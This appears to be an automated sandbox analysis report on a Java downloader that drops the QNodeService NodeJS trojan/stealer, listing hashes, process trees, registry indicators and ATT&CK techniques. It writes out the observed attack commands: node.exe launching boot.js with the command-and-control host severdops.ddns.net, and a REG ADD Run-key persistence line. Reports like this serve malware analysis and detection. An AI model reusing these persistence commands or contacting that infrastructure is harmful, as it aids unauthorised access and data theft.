qnodeservice | 49331c9f6559832d639324a3ad70ab151d30bd712ff78f8a9cdf3e731f5dcf77

General

Target

IMG-28102020.jar
Size

72KB
MD5

887b166acc924514a275abbdb1676014
SHA1

b43f7a56b97b635c72628bdde9be1cbc7b5ebd20
SHA256

49331c9f6559832d639324a3ad70ab151d30bd712ff78f8a9cdf3e731f5dcf77
SHA512

8f796e0f3e482afe0d591e4657b640ec715d536c1c71fff9430b9f240490a79bc81cba1521462f23abef76e0a793f7e3e9eca9053fc06b7c8163d54422d61dd3

Score

10^/10

qnodeservice persistence trojan

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice
Executes dropped EXE 3 IoCs

Processes:

node.exenode.exenode.exe

pid process

1624 node.exe
3476 node.exe
576 node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

reg.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2627584638-3284755310-3019450177-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2627584638-3284755310-3019450177-1000\Software\Microsoft\Windows\CurrentVersion\Run\0289f365-56f9-4fbd-9865-86fe743a7a47 = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\node-v14.12.0-win-x64\node.exe	js
C:\Users\Admin\node-v14.12.0-win-x64\node.exe	js
C:\Users\Admin\node-v14.12.0-win-x64\node.exe	js

Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

22 wtfismyip.com
23 wtfismyip.com

flow	ioc
22	wtfismyip.com
23	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

node.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

Processes:

node.exenode.exenode.exe

pid	process
1624	node.exe
1624	node.exe
1624	node.exe
1624	node.exe
3476	node.exe
3476	node.exe
3476	node.exe
3476	node.exe
576	node.exe
576	node.exe
576	node.exe
576	node.exe
576	node.exe
576	node.exe
576	node.exe
576	node.exe
576	node.exe
576	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

java.exejavaw.exenode.exenode.exenode.execmd.exe

description	pid	process	target process
PID 3884 wrote to memory of 3480	3884	java.exe	javaw.exe
PID 3884 wrote to memory of 3480	3884	java.exe	javaw.exe
PID 3480 wrote to memory of 1624	3480	javaw.exe	node.exe
PID 3480 wrote to memory of 1624	3480	javaw.exe	node.exe
PID 1624 wrote to memory of 3476	1624	node.exe	node.exe
PID 1624 wrote to memory of 3476	1624	node.exe	node.exe
PID 3476 wrote to memory of 576	3476	node.exe	node.exe
PID 3476 wrote to memory of 576	3476	node.exe	node.exe
PID 576 wrote to memory of 744	576	node.exe	cmd.exe
PID 576 wrote to memory of 744	576	node.exe	cmd.exe
PID 744 wrote to memory of 3936	744	cmd.exe	reg.exe
PID 744 wrote to memory of 3936	744	cmd.exe	reg.exe

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar C:\Users\Admin\AppData\Local\Temp\IMG-28102020.jar
1⤵
- Suspicious use of WriteProcessMemory
PID:3884

C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
"C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\9dae3bfe.tmp
2⤵
- Suspicious use of WriteProcessMemory
PID:3480

C:\Users\Admin\node-v14.12.0-win-x64\node.exe
C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain severdops.ddns.net
3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1624

C:\Users\Admin\node-v14.12.0-win-x64\node.exe
C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_uTaAjv\boot.js --hub-domain severdops.ddns.net
4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3476

C:\Users\Admin\node-v14.12.0-win-x64\node.exe
C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_uTaAjv\boot.js --hub-domain severdops.ddns.net
5⤵
- Executes dropped EXE
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:576

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "0289f365-56f9-4fbd-9865-86fe743a7a47" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
6⤵
- Suspicious use of WriteProcessMemory
PID:744

C:\Windows\system32\reg.exe
REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "0289f365-56f9-4fbd-9865-86fe743a7a47" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
7⤵
- Adds Run key to start application
PID:3936

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\.oracle_jre_usage\90737d32e3aba4b.timestamp
MD5
e643cad80fb7cd2abdaa81fdfaad60ec

SHA1
b838739c464cc02c60750dd8debc46cd7de6c3b0

SHA256
85c7677508e24fc09201349922b74643dee4d0ca7593646d95904d551b761cb7

SHA512
5f554272cbde7c5af477e2f26d632e0c09b557425775d882876a5db6323c4f402d5c9a563b5a19925b6082e3346ff6e0f8693920ceb4199d638a858fcf7ecf0f

Download Submit
C:\Users\Admin\AppData\Local\Temp\9dae3bfe.tmp
MD5
887b166acc924514a275abbdb1676014

SHA1
b43f7a56b97b635c72628bdde9be1cbc7b5ebd20

SHA256
49331c9f6559832d639324a3ad70ab151d30bd712ff78f8a9cdf3e731f5dcf77

SHA512
8f796e0f3e482afe0d591e4657b640ec715d536c1c71fff9430b9f240490a79bc81cba1521462f23abef76e0a793f7e3e9eca9053fc06b7c8163d54422d61dd3

Download Submit
C:\Users\Admin\AppData\Local\Temp\_qhub_node_uTaAjv\boot.js
MD5
3859487feb5152e9d1afc4f8cd320608

SHA1
7bf154c9ddf3a71abf15906cdb60773e8ae07b62

SHA256
8d19e156776805eb800ad47f85ff36b99b8283b721ebab3d47a16e2ae597fe13

SHA512
826a1b3cd08e4652744a975153448288dd31073f60471729b948d7668df8e510fa7b0c6dcd63636043850364bf3cd30c1053349d42d08f8ec7c4a0655188fab8

Download Submit
C:\Users\Admin\node-v14.12.0-win-x64\node.exe
MD5
f0b11a5823c45fc2664e116dc0323bcb

SHA1
612339040c1f927ec62186cd5012f4bb9c53c1b9

SHA256
16fb671d2b06196482243fc31afb9cc0914c191b08181e71e20d872b51b09d99

SHA512
0e07919012d0764aef67ae20c69d66f0c2279137d3459c8437f00c63f0e868a79c52d5ddeb57b9273009780b147bb46b1f429248a8b1f946981097b8e5e851ac

Download Submit
C:\Users\Admin\node-v14.12.0-win-x64\node.exe
MD5
f0b11a5823c45fc2664e116dc0323bcb

SHA1
612339040c1f927ec62186cd5012f4bb9c53c1b9

SHA256
16fb671d2b06196482243fc31afb9cc0914c191b08181e71e20d872b51b09d99

SHA512
0e07919012d0764aef67ae20c69d66f0c2279137d3459c8437f00c63f0e868a79c52d5ddeb57b9273009780b147bb46b1f429248a8b1f946981097b8e5e851ac

Download Submit
C:\Users\Admin\node-v14.12.0-win-x64\node.exe
MD5
f0b11a5823c45fc2664e116dc0323bcb

SHA1
612339040c1f927ec62186cd5012f4bb9c53c1b9

SHA256
16fb671d2b06196482243fc31afb9cc0914c191b08181e71e20d872b51b09d99

SHA512
0e07919012d0764aef67ae20c69d66f0c2279137d3459c8437f00c63f0e868a79c52d5ddeb57b9273009780b147bb46b1f429248a8b1f946981097b8e5e851ac

Download Submit
memory/576-182-0x0000000000000000-mapping.dmp

Download
memory/576-184-0x00000294C35C0000-0x00000294C35C1000-memory.dmp

Filesize
4KB

Download
memory/744-185-0x0000000000000000-mapping.dmp

Download
memory/1624-169-0x0000000000000000-mapping.dmp

Download
memory/1624-172-0x000003B0E9200000-0x000003B0E9201000-memory.dmp

Filesize
4KB

Download
memory/3476-178-0x0000000000000000-mapping.dmp

Download
memory/3476-180-0x000001FA75C80000-0x000001FA75C81000-memory.dmp

Filesize
4KB

Download
memory/3480-51-0x0000000000000000-mapping.dmp

Download
memory/3936-186-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads